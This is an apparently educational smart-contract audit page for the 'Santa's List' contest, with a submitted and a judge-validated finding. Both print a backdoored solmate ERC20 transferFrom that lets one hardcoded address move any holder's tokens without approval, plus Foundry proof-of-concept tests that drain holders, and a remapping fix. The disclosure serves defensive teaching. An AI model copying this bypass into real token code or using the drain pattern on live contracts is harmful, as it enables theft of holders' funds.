Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`SantaToken` inherits a backdoored solmate fork — one hardcoded address moves any holder's balance without approval

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

### Summary
`SantaToken` inherits `ERC20` from `@solmate`, which `foundry.toml:7` remaps to `lib/solmate-bad`,
not to upstream solmate. That fork's `transferFrom` skips the allowance check entirely for one
hardcoded caller: `0x815F577F1c1bcE213c012f166744937C889DAF17` — byte-for-byte the `@author` address
recorded in the in-scope source at `SantasList.sol:55`. That address, holding no tokens and no ETH,
drains 100% of the SantaToken supply from holders who approved nobody.
### Vulnerability Details
`SantaToken` is declared `contract SantaToken is ERC20` and imports that `ERC20` from
`@solmate/src/tokens/ERC20.sol` (`SantaToken.sol:4`). The inherited `transferFrom` opens with:
```solidity
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked { balanceOf[to] += amount; }
emit Transfer(from, to, amount);
return true;
}
... // the normal allowance path, for everyone else
```
For that one caller the allowance lookup and decrement are skipped. Every other caller takes the
correct path, so the contract behaves like a standard ERC-20 under any test that does not use that
exact address.
**Two facts establish this is deliberate and specific to this codebase, not an upstream dependency
bug.**
*The git history.* `lib/solmate-bad` is upstream solmate at `4b47a19` with exactly one commit on top:
`c3877e5 "added solmate bad"`. Isolating the added lines in that commit shows the only semantic
change in the entire commit is the eleven-line block above; everything else is whitespace reflow of
the constructor, `permit` and `computeDomainSeparator`, plus a truncated README.
*The address.* `0x815F577F1c1bcE213c012f166744937C889DAF17` is byte-for-byte, case-insensitively, the
`@author` address in the in-scope source at `SantasList.sol:55`
(`0x815f577f1c1bce213c012f166744937c889daf17`). The backdoor is keyed to the protocol's own author.
This contradicts the protocol's stated rules directly. **ST-3** describes `SantaToken` as *"a typical
ERC20"* based on solmate; **ST-1/ST-2** state that only `SantasList` can mint or burn. A universal,
approval-free transfer privilege held by an undisclosed address appears in none of them, so this is a
stated-trust-model violation, not an accepted centralization risk.
The backdoor is reachable directly on the token with `SantasList` nowhere in the path
(`test/Claude/scratch/Gate3Probe.t.sol::test_probe_S016_is_reachable_on_the_bare_token`), so no
in-scope guard can mitigate it.

Risk


### Impact
Total theft of the entire SantaToken supply by a single address holding nothing. In the PoC that
address is asserted to hold 0 wei of ETH and 0 SANTA before acting — gas is its only requirement. It
then drains five holders who each earned their tokens legitimately and granted zero approvals:
- Holders drained: **5**
- SANTA stolen: **5e18 — 100% of total supply**
- Approvals granted by any holder: **0**
- Attacker role or ownership: **none**
A follow-on test converts the stolen balance into **5 NFTs** through `buyPresent`, leaving the honest
holders with nothing and the supply at zero. A control test issues the identical `transferFrom` from
an ordinary address and it reverts, confirming the privilege is the hardcoded literal and not a
general flaw in the transfer logic.

Proof of Concept

**Proof of Concept** — `test/Claude/F05_ERC20Backdoor.t.sol`
```bash
forge test --match-test test_F05 -vvv
```
```solidity
address constant BACKDOOR = 0x815F577F1c1bcE213c012f166744937C889DAF17;
assertEq(BACKDOOR.balance, 0, "not even ETH - gas is the only requirement");
assertEq(token.balanceOf(BACKDOOR), 0, "starts with no tokens");
for (uint256 i = 0; i < 5; i++) {
assertEq(token.allowance(holders[i], BACKDOOR), 0, "victim approved nobody");
vm.prank(BACKDOOR);
token.transferFrom(holders[i], BACKDOOR, token.balanceOf(holders[i]));
}
assertEq(token.balanceOf(BACKDOOR), 5e18, "100% of supply taken");
```
```
[PASS] test_F05_HardcodedAddressDrainsEveryHolder()
holders drained: 5
SANTA stolen (wei): 5000000000000000000
share of total supply taken (%): 100
approvals granted by any holder: 0
attacker role / ownership: none
attacker capital required (wei): 0
lines of code that grant this: 11
[PASS] test_F05_OnlyThatOneLiteralAddressCanDoIt()
identical transferFrom from a normal address: reverted
identical transferFrom from 0x815F...DAF17: succeeded
```

Recommended Mitigation

The fix is a configuration change, not a code change: repoint the remapping to upstream
`transmissions11/solmate` and delete `lib/solmate-bad`.
```diff
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
- '@solmate=lib/solmate-bad',
+ '@solmate=lib/solmate',
]
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-05] Malicious Code Injection in solmate ERC20 Contract inside `transferFrom` function which is inherited in `SantaToken`

## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!